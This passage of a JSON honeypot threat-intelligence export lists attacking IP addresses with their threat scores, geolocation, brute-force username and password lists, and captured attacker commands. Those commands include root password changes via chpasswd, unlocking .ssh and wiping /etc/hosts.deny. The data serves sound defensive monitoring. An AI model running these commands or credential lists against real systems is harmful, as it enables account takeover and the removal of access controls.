        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 912,
        "Suricata": 251
      }
    },
    "187.210.77.100": {
      "attack_count": 854,
      "first_seen": "2026-04-09T01:09:59.877Z",
      "last_seen": "2026-04-26T00:38:34.328Z",
      "sessions": 133,
      "ports": [],
      "usernames_attempted": [
        "root",
        "postgres",
        "user",
        "345gs5662d34",
        "frappe",
        "ftpuser",
        "n8n",
        "test",
        "deploy",
        "diogo",
        "git",
        "gustavo",
        "javad",
        "ming",
        "rsync",
        "sora",
        "user00",
        "vpn",
        "dev",
        "hello"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "!1fw@2soc#3vpn",
        "123456",
        "123456789",
        "123456@w",
        "2wsx3edc!@",
        "Frappe!123",
        "Letmein123!",
        "M3gaP33!",
        "Postgres1",
        "Postgres10",
        "Postgres27!",
        "QWE@1234",
        "Qazwsx654321!!",
        "Qweasdzxc",
        "Root123!@#",
        "Root12345@",
        "XXaa111",
        "a12345678915"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "which ls",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "crontab -l",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"asdasd\\nYqLNcy57tLKa\\nYqLNcy57tLKa\\n\"|passwd",
        "echo \"root:Ojk2WQoNWIcq\"|chpasswd|bash",
        "echo \"root:V18YbIzJXXMP\"|chpasswd|bash",
        "echo \"root:w6VhDcT8d2wc\"|chpasswd|bash",
        "echo -e \"asdasd\\nYqLNcy57tLKa\\nYqLNcy57tLKa\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Mexico",
      "country_code": "MX",
      "city": null,
      "asn": 8151,
      "as_org": "UNINET",
      "threat_score": 49.4,
      "threat_level": "medium",
      "score_components": {
        "frequency": 30,
        "persistence": 15.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 1225,
        "days_active_30d": 18,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-09T01:09:59.877000+00:00",
        "last_seen_30d": "2026-04-26T00:39:42.171000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 854,
        "Suricata": 371
      }
    },
    "103.159.54.61": {
      "attack_count": 743,
      "first_seen": "2026-04-13T09:20:47.819Z",
      "last_seen": "2026-04-29T01:41:20.382Z",
      "sessions": 90,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "345gs5662d34",
        "user",
        "admin",
        "claude",
        "ec2-user",
        "etherpad",
        "frappe",
        "git",
        "teamspeak",
        "test",
        "adam",
        "adminz",
        "cds",
        "celery",
        "deepak",
        "deploy",
        "deployer",
        "esuser"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "!QAZ2wsx1234",
        "0000",
        "1",
        "1234",
        "123456",
        "123456!!",
        "12345678",
        "123@abc",
        "123root",
        "1qa@WS3ed",
        "1qaz2WSX",
        "1qaz2wsx3edc4rfv",
        "1qaz2wsxE",
        "1qw23er45ty6",
        "1qwaszx",
        "654321",
        "77889900",
        "A123456789012"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "echo \"Password1!\\n2tU59st0f6r3\\n2tU59st0f6r3\\n\"|passwd",
        "echo \"etherpad\\n7Td7qc11R4Kv\\n7Td7qc11R4Kv\\n\"|passwd",
        "echo \"root:Dj83Hr3DRX9s\"|chpasswd|bash",
        "echo \"root:Y0TzHUfPq4h2\"|chpasswd|bash",
        "echo \"teamspeak14!\\nQB6Y1QzlPBOd\\nQB6Y1QzlPBOd\\n\"|passwd",
        "echo -e \"Password1!\\n2tU59st0f6r3\\n2tU59st0f6r3\"|passwd|bash",
        "echo -e \"etherpad\\n7Td7qc11R4Kv\\n7Td7qc11R4Kv\"|passwd|bash",
        "echo -e \"teamspeak14!\\nQB6Y1QzlPBOd\\nQB6Y1QzlPBOd\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.log.closed",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.session.params",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": null,
      "asn": 153413,
      "as_org": "HT3 VIETNAM TECHNOLOGY INVESTMENT AND DEVELOPMENT JOINT STOCK COMPANY",
      "threat_score": 54.2,
      "threat_level": "medium",
      "score_components": {
        "frequency": 29.9,
        "persistence": 14.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 971,
        "days_active_30d": 17,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-13T09:20:47.819000+00:00",
        "last_seen_30d": "2026-04-29T01:42:22.899000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 743,
        "Suricata": 228
      }
    },
    "147.135.251.134": {
      "attack_count": 661,
      "first_seen": "2026-04-10T09:09:36.540Z",
      "last_seen": "2026-04-16T17:00:59.671Z",
      "sessions": 62,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "teamspeak",
        "ubuntu",
        "deploy",
        "devuser",
        "elk",
        "git",
        "admin",
        "anton",
        "app",
        "appuser",
        "bot1",
        "carlos",
        "deployer",
        "dev",
        "ftp_user",
        "joe",
        "oliver",
        "site"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "!2qwaszx",
        "102026",
        "111",
        "123",
        "123321",
        "1234",
        "123456",
        "123456798",
        "123mudar",
        "1qaz@WSX",
        "202500",
        "202501",
        "Abcd12345678@#",
        "Admin123",
        "Admin20!",
        "Admin@12#$",
        "Asdfghjkl",
        "Dev01"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "echo \"1234\\n3qPabFjITuPt\\n3qPabFjITuPt\\n\"|passwd",
        "echo \"Teamspeak!\\nwcd3ofw4Lpu9\\nwcd3ofw4Lpu9\\n\"|passwd",
        "echo \"elk\\nxR7qJTfaghN7\\nxR7qJTfaghN7\\n\"|passwd",
        "echo \"root:77nKP5t7Gxes\"|chpasswd|bash",
        "echo \"root:HPTwPoiD0j4y\"|chpasswd|bash",
        "echo \"root:T653O5BKc35d\"|chpasswd|bash",
        "echo -e \"1234\\n3qPabFjITuPt\\n3qPabFjITuPt\"|passwd|bash",
        "echo -e \"Teamspeak!\\nwcd3ofw4Lpu9\\nwcd3ofw4Lpu9\"|passwd|bash",
        "echo -e \"elk\\nxR7qJTfaghN7\\nxR7qJTfaghN7\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "France",
      "country_code": "FR",
      "city": null,
      "asn": 16276,
      "as_org": "OVH SAS",
      "threat_score": 25.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 29.0,
        "persistence": 5.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 799,
        "days_active_30d": 7,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-10T09:09:36.540000+00:00",
        "last_seen_30d": "2026-04-16T17:02:05.652000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 661,
        "Suricata": 138
      }
    },
    "103.210.21.97": {
      "attack_count": 469,
      "first_seen": "2026-04-19T17:44:50.356Z",
      "last_seen": "2026-04-19T18:24:24.420Z",
      "sessions": 35,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "345gs5662d34",
        "deploy",
        "ftpuser01",
        "adrian",
        "frappe",
        "ftp-user",
        "lh",
        "popuser",
        "postgres",
        "sambauser",
        "sammy",
        "teamspeak",
        "usuario2",
        "zjw"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "123321",
        "123@123aA",
        "Default2024!",
        "Frappe2025",
        "Qazwsx1234567#$",
        "Qazwsx2021@123",
        "Sammy12",
        "Sss123456",
        "Teamspeak31",
        "Ubuntu18",
        "ZAQ!2wsx2018#",
        "ZAQ!2wsx2025!@",
        "ZZdd123",
        "admin2024",
        "admin@123",
        "adrian",
        "ali123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"123@123aA\\nC2y2g6TshJMA\\nC2y2g6TshJMA\\n\"|passwd",
        "echo \"admin2024\\nGmqZdEfS6CkY\\nGmqZdEfS6CkY\\n\"|passwd",
        "echo \"admin@123\\nMwMgse0gcV0w\\nMwMgse0gcV0w\\n\"|passwd",
        "echo \"ftpuser01\\njPy04TQCDp7L\\njPy04TQCDp7L\\n\"|passwd",
        "echo \"root:K0cmcCGwuOaa\"|chpasswd|bash",
        "echo -e \"123@123aA\\nC2y2g6TshJMA\\nC2y2g6TshJMA\"|passwd|bash",
        "echo -e \"admin2024\\nGmqZdEfS6CkY\\nGmqZdEfS6CkY\"|passwd|bash",
        "echo -e \"admin@123\\nMwMgse0gcV0w\\nMwMgse0gcV0w\"|passwd|bash",
        "echo -e \"ftpuser01\\njPy04TQCDp7L\\njPy04TQCDp7L\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": null,
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 25.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 27.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 546,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-19T17:44:50.356000+00:00",
        "last_seen_30d": "2026-04-19T18:25:32.540000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 469,
        "Suricata": 77
      }
    },
    "138.99.80.102": {
      "attack_count": 465,
      "first_seen": "2026-04-04T11:28:39.937Z",
      "last_seen": "2026-04-24T13:09:34.491Z",
      "sessions": 58,
      "ports": [],
      "usernames_attempted": [
        "root",
        "test",
        "345gs5662d34",
        "claude",
        "server",
        "ali",
        "amir",
        "arkserver",
        "bot3",
        "deploy",
        "ec2-user",
        "fmaster",
        "ftpuser",
        "github",
        "joseph",
        "kiran",
        "nexus",
        "nginx",
        "postgres",
        "rstudio"
      ],
      "passwords_attempted": [
        "1234",
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "admin",
        "!@#QWE",
        "000123",
        "123!@#asdASD",
        "12345",
        "12345.QWER",
        "6yhn^YHN",
        "87654321",
        "A1231234",
        "Aa112211.",
        "Aa12345",
        "Admin123456789@123",
        "Claude03!",
        "Hj123456",
        "P@$$w0rd123",
        "QWE.123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"Test@321\\n9y0UuzjVy6sb\\n9y0UuzjVy6sb\\n\"|passwd",
        "echo \"root:Jz9A2lwfzACv\"|chpasswd|bash",
        "echo \"root:VqGHFb5t3ArJ\"|chpasswd|bash",
        "echo -e \"Test@321\\n9y0UuzjVy6sb\\n9y0UuzjVy6sb\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.command.input",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Salvador",
      "asn": 271596,
      "as_org": "MaxNet Telecom",
      "threat_score": 45.8,
      "threat_level": "medium",
      "score_components": {
        "frequency": 27.8,
        "persistence": 17.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 601,
        "days_active_30d": 21,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-04T11:28:39.937000+00:00",
        "last_seen_30d": "2026-04-24T13:10:38.575000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 465,
        "Suricata": 136
      }
    },
    "27.79.40.53": {
      "attack_count": 442,
      "first_seen": "2026-04-27T17:46:15.877Z",
      "last_seen": "2026-04-27T18:15:08.193Z",
      "sessions": 88,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "support",
        "test",
        "developer",
        "ftp",
        "ubnt",
        "user",
        "*****",
        "1234",
        "admian",
        "anton",
        "ashish",
        "backup",
        "bin",
        "brenda",
        "btf",
        "carol",
        "cf1c22",
        "cisco"
      ],
      "passwords_attempted": [
        "admin",
        "1234",
        "123456",
        "password",
        "12345678",
        "*****",
        "039715582364317",
        "1",
        "1111",
        "123",
        "12345",
        "123456789",
        "1234567890%*()",
        "321start",
        "91482d",
        "@",
        "P@ssw0rd",
        "abcdefg",
        "admin123",
        "admin@123"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request",
        "cowrie.login.success"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": "Da Nang",
      "asn": 7552,
      "as_org": "Viettel Group",
      "threat_score": 38.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 28.0,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 627,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-27T17:46:15.877000+00:00",
        "last_seen_30d": "2026-04-27T18:16:08.937000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 442,
        "Suricata": 185
      }
    },
    "152.32.144.167": {
      "attack_count": 430,
      "first_seen": "2026-04-02T06:37:15.445Z",
      "last_seen": "2026-04-15T14:37:55.792Z",
      "sessions": 51,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "deploy",
        "server",
        "frappe",
        "ftp",
        "ftptest",
        "ftpuser1",
        "lsk",
        "openproject",
        "pmuser",
        "sammy",
        "sonaruser",
        "sysadm",
        "system",
        "test",
        "ubuntu"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "!234Asdf",
        "!QAZ3edc%TGB",
        "!qaZ@wsX",
        "123456",
        "123456@Qwerty",
        "1qaz2wsx",
        "666",
        "Aa11223344",
        "Gc123456",
        "Germany",
        "QWERTYUI",
        "Qaz@1234",
        "Qazwsx11111111#$",
        "Qqq123456",
        "Rl123456",
        "Server!123",
        "Sf@123456"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"Server!123\\n7zUguxuUPQ7x\\n7zUguxuUPQ7x\\n\"|passwd",
        "echo \"root:FMHZGpzdUfbl\"|chpasswd|bash",
        "echo \"root:j2ELewkxZkdS\"|chpasswd|bash",
        "echo -e \"Server!123\\n7zUguxuUPQ7x\\n7zUguxuUPQ7x\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Japan",
      "country_code": "JP",
      "city": "Tokyo",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 25.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 27.4,
        "persistence": 11.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 552,
        "days_active_30d": 14,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-02T06:37:15.445000+00:00",
        "last_seen_30d": "2026-04-15T14:39:05.367000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 430,
        "Suricata": 122
      }
    },
    "142.171.168.165": {
      "attack_count": 388,
      "first_seen": "2026-04-04T18:19:42.109Z",
      "last_seen": "2026-04-06T20:44:39.168Z",
      "sessions": 54,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "345gs5662d34",
        "bot",
        "nikita",
        "postgres",
        "steam",
        "teamspeak",
        "admin",
        "deploy",
        "dev",
        "frappe",
        "ftpuser",
        "hemant",
        "maill",
        "mainuser",
        "n8n",
        "odoo",
        "rohit",
        "sai"
      ],
      "passwords_attempted": [
        "123456",
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "12345",
        "12345678",
        "123456tr",
        "159357",
        "1q2wE",
        "1qaz2wsx",
        "2024#",
        "A123123E",
        "A123456789",
        "ABC!@#123",
        "Admin29!",
        "Baidu@123",
        "Bot07",
        "DDzz000",
        "Frappe08",
        "Frappe21"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"Bot07\\nOVqhCY8d1aoI\\nOVqhCY8d1aoI\\n\"|passwd",
        "echo \"nikita\\n2Xk7JsdunFNB\\n2Xk7JsdunFNB\\n\"|passwd",
        "echo -e \"Bot07\\nOVqhCY8d1aoI\\nOVqhCY8d1aoI\"|passwd|bash",
        "echo -e \"nikita\\n2Xk7JsdunFNB\\n2Xk7JsdunFNB\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Los Angeles",
      "asn": 35916,
      "as_org": "MULTACOM CORPORATION",
      "threat_score": 8.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 27.1,
        "persistence": 2.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 512,
        "days_active_30d": 3,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-04T18:19:42.109000+00:00",
        "last_seen_30d": "2026-04-06T20:45:42.642000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 388,
        "Suricata": 124
      }
    },
    "152.32.218.149": {
      "attack_count": 341,
      "first_seen": "2026-04-24T12:29:44.774Z",
      "last_seen": "2026-04-24T13:12:55.490Z",
      "sessions": 33,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "deploy",
        "erpnext",
        "frappe",
        "ubuntu",
        "crm",
        "gmodserver",
        "n8n",
        "postgres",
        "steam1",
        "system",
        "test",
        "tidb",
        "user",
        "user6",
        "webuser"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "!Q2w3e4r5t",
        "0000",
        "101010",
        "112233",
        "123",
        "123456",
        "123456aa@",
        "123456wW",
        "123asd,./",
        "1qa@WS3ed$RF",
        "AAdd123123",
        "Aa112211.",
        "Hello@123",
        "N8n24",
        "ZAQ!2wsx654321@@",
        "asdlkj123",
        "crm",
        "nPSpP4PBW0"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"123456\\nQ80XlDTJbyiz\\nQ80XlDTJbyiz\\n\"|passwd",
        "echo \"password\\nqkmAwZKjjwIZ\\nqkmAwZKjjwIZ\\n\"|passwd",
        "echo \"root:jyFUKbEuoA9B\"|chpasswd|bash",
        "echo -e \"123456\\nQ80XlDTJbyiz\\nQ80XlDTJbyiz\"|passwd|bash",
        "echo -e \"password\\nqkmAwZKjjwIZ\\nqkmAwZKjjwIZ\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 31.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 26.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 413,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-24T12:29:44.774000+00:00",
        "last_seen_30d": "2026-04-24T13:13:58.625000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 341,
        "Suricata": 72
      }
    },
    "164.68.118.26": {
      "attack_count": 320,
      "first_seen": "2026-04-30T18:54:39.180Z",
      "last_seen": "2026-04-30T18:58:42.146Z",
      "sessions": 160,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Lauterbourg",
      "asn": 51167,
      "as_org": "Contabo GmbH",
      "threat_score": 39.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 26.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 481,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-30T18:54:39.180000+00:00",
        "last_seen_30d": "2026-04-30T18:59:47.714000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 320,
        "Suricata": 161
      }
    },
    "117.6.44.221": {
      "attack_count": 263,
      "first_seen": "2026-04-04T07:33:57.892Z",
      "last_seen": "2026-04-04T08:38:01.154Z",
      "sessions": 29,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "345gs5662d34",
        "kiran",
        "steam",
        "nam",
        "newuser",
        "rstest",
        "support",
        "teamspeak",
        "thor"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1234",
        "123456_ASDF",
        "123456a?",
        "12345qwerty",
        "1234Password",
        "1234_asdf",
        "123Admin",
        "1qaz@WSX",
        "P@$$w0rd2026",
        "Q1w2e3r4t5!",
        "QWE-123",
        "QWERTYUIO123456789",
        "Sp123456",
        "Wy@123456",
        "asdfgh123",
        "changeme!@#",
